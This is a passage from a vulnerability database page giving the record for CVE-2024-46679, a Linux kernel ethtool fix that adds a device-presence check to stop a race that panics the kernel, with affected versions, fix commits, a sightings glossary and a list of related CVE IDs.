          "programFiles": [
            "net/core/net-sysfs.c",
            "net/ethtool/ioctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.33"
            },
            {
              "lessThan": "2.6.33",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.283",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.225",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.166",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.108",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.283",
                  "versionStartIncluding": "2.6.33",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.225",
                  "versionStartIncluding": "2.6.33",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.166",
                  "versionStartIncluding": "2.6.33",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.108",
                  "versionStartIncluding": "2.6.33",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.49",
                  "versionStartIncluding": "2.6.33",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.8",
                  "versionStartIncluding": "2.6.33",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.33",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nethtool: check device is present when getting link settings\n\nA sysfs reader can race with a device reset or removal, attempting to\nread device state when the device is not actually present. eg:\n\n     [exception RIP: qed_get_current_link+17]\n  #8 [ffffb9e4f2907c48] qede_get_link_ksettings at ffffffffc07a994a [qede]\n  #9 [ffffb9e4f2907cd8] __rh_call_get_link_ksettings at ffffffff992b01a3\n #10 [ffffb9e4f2907d38] __ethtool_get_link_ksettings at ffffffff992b04e4\n #11 [ffffb9e4f2907d90] duplex_show at ffffffff99260300\n #12 [ffffb9e4f2907e38] dev_attr_show at ffffffff9905a01c\n #13 [ffffb9e4f2907e50] sysfs_kf_seq_show at ffffffff98e0145b\n #14 [ffffb9e4f2907e68] seq_read at ffffffff98d902e3\n #15 [ffffb9e4f2907ec8] vfs_read at ffffffff98d657d1\n #16 [ffffb9e4f2907f00] ksys_read at ffffffff98d65c3f\n #17 [ffffb9e4f2907f38] do_syscall_64 at ffffffff98a052fb\n\n crash\u003e struct net_device.state ffff9a9d21336000\n    state = 5,\n\nstate 5 is __LINK_STATE_START (0b1) and __LINK_STATE_NOCARRIER (0b100).\nThe device is not present, note lack of __LINK_STATE_PRESENT (0b10).\n\nThis is the same sort of panic as observed in commit 4224cfd7fb65\n(\"net-sysfs: add check for netdevice being present to speed_show\").\n\nThere are many other callers of __ethtool_get_link_ksettings() which\ndon\u0027t have a device presence check.\n\nMove this check into ethtool to protect all callers."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:34:18.321Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ec7b4f7f644018ac293cb1b02528a40a32917e62"
        },
        {
          "url": "https://git.kernel.org/stable/c/842a40c7273ba1c1cb30dda50405b328de1d860e"
        },
        {
          "url": "https://git.kernel.org/stable/c/7a8d98b6d6484d3ad358510366022da080c37cbc"
        },
        {
          "url": "https://git.kernel.org/stable/c/9bba5955eed160102114d4cc00c3d399be9bdae4"
        },
        {
          "url": "https://git.kernel.org/stable/c/94ab317024ba373d37340893d1c0358638935fbb"
        },
        {
          "url": "https://git.kernel.org/stable/c/1d6d9b5b1b95bfeccb84386a51b7e6c510ec13b2"
        },
        {
          "url": "https://git.kernel.org/stable/c/a699781c79ecf6cfe67fb00a0331b4088c7c8466"
        }
      ],
      "title": "ethtool: check device is present when getting link settings",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46679",
    "datePublished": "2024-09-13T05:29:13.450Z",
    "dateReserved": "2024-09-11T15:12:18.248Z",
    "dateUpdated": "2026-05-12T11:57:35.678Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

SSA-265688

CVE-2025-21664 (GCVE-0-2025-21664)

CVE-2024-23848 (GCVE-0-2024-23848)

CVE-2025-21711 (GCVE-0-2025-21711)

CVE-2024-35988 (GCVE-0-2024-35988)

CVE-2024-49948 (GCVE-0-2024-49948)

CVE-2024-46744 (GCVE-0-2024-46744)

CVE-2024-26885 (GCVE-0-2024-26885)

CVE-2024-35976 (GCVE-0-2024-35976)

CVE-2024-49973 (GCVE-0-2024-49973)

CVE-2024-26872 (GCVE-0-2024-26872)

CVE-2024-26855 (GCVE-0-2024-26855)

CVE-2024-42265 (GCVE-0-2024-42265)

CVE-2024-42305 (GCVE-0-2024-42305)

CVE-2024-26974 (GCVE-0-2024-26974)

CVE-2024-38659 (GCVE-0-2024-38659)

CVE-2024-38662 (GCVE-0-2024-38662)

CVE-2025-69420 (GCVE-0-2025-69420)

CVE-2024-47697 (GCVE-0-2024-47697)

CVE-2025-9230 (GCVE-0-2025-9230)

CVE-2024-26973 (GCVE-0-2024-26973)

CVE-2025-21787 (GCVE-0-2025-21787)

CVE-2024-27396 (GCVE-0-2024-27396)

CVE-2024-49900 (GCVE-0-2024-49900)

CVE-2024-35807 (GCVE-0-2024-35807)

CVE-2024-49977 (GCVE-0-2024-49977)

CVE-2025-21639 (GCVE-0-2025-21639)

CVE-2024-35877 (GCVE-0-2024-35877)

CVE-2024-50046 (GCVE-0-2024-50046)

CVE-2024-35789 (GCVE-0-2024-35789)

CVE-2024-38559 (GCVE-0-2024-38559)

CVE-2025-21719 (GCVE-0-2025-21719)

CVE-2025-21745 (GCVE-0-2025-21745)

CVE-2024-42304 (GCVE-0-2024-42304)

CVE-2024-50205 (GCVE-0-2024-50205)

CVE-2023-47233 (GCVE-0-2023-47233)

CVE-2024-36978 (GCVE-0-2024-36978)

CVE-2025-21795 (GCVE-0-2025-21795)

CVE-2024-26937 (GCVE-0-2024-26937)

CVE-2024-38567 (GCVE-0-2024-38567)

CVE-2024-50142 (GCVE-0-2024-50142)

CVE-2024-26882 (GCVE-0-2024-26882)

CVE-2024-39482 (GCVE-0-2024-39482)

CVE-2024-35884 (GCVE-0-2024-35884)

CVE-2024-27065 (GCVE-0-2024-27065)

CVE-2024-50008 (GCVE-0-2024-50008)

CVE-2024-26651 (GCVE-0-2024-26651)

CVE-2024-49902 (GCVE-0-2024-49902)

CVE-2021-47316 (GCVE-0-2021-47316)

CVE-2024-40905 (GCVE-0-2024-40905)

CVE-2024-27059 (GCVE-0-2024-27059)

CVE-2024-50302 (GCVE-0-2024-50302)

CVE-2025-21694 (GCVE-0-2025-21694)

CVE-2024-36004 (GCVE-0-2024-36004)

CVE-2024-49997 (GCVE-0-2024-49997)

CVE-2024-35828 (GCVE-0-2024-35828)

CVE-2024-50001 (GCVE-0-2024-50001)

CVE-2024-42281 (GCVE-0-2024-42281)

CVE-2024-45016 (GCVE-0-2024-45016)

CVE-2024-26870 (GCVE-0-2024-26870)

CVE-2025-21735 (GCVE-0-2025-21735)

CVE-2024-39502 (GCVE-0-2024-39502)

CVE-2025-21858 (GCVE-0-2025-21858)

CVE-2024-26787 (GCVE-0-2024-26787)

CVE-2024-26816 (GCVE-0-2024-26816)

CVE-2024-49944 (GCVE-0-2024-49944)

CVE-2024-50040 (GCVE-0-2024-50040)

CVE-2024-35969 (GCVE-0-2024-35969)

CVE-2024-27395 (GCVE-0-2024-27395)

CVE-2025-21862 (GCVE-0-2025-21862)

CVE-2024-38596 (GCVE-0-2024-38596)

CVE-2024-35922 (GCVE-0-2024-35922)

CVE-2025-21814 (GCVE-0-2025-21814)

CVE-2023-52620 (GCVE-0-2023-52620)

CVE-2024-26923 (GCVE-0-2024-26923)

CVE-2024-43893 (GCVE-0-2024-43893)

CVE-2025-21666 (GCVE-0-2025-21666)

CVE-2024-43856 (GCVE-0-2024-43856)

CVE-2024-35905 (GCVE-0-2024-35905)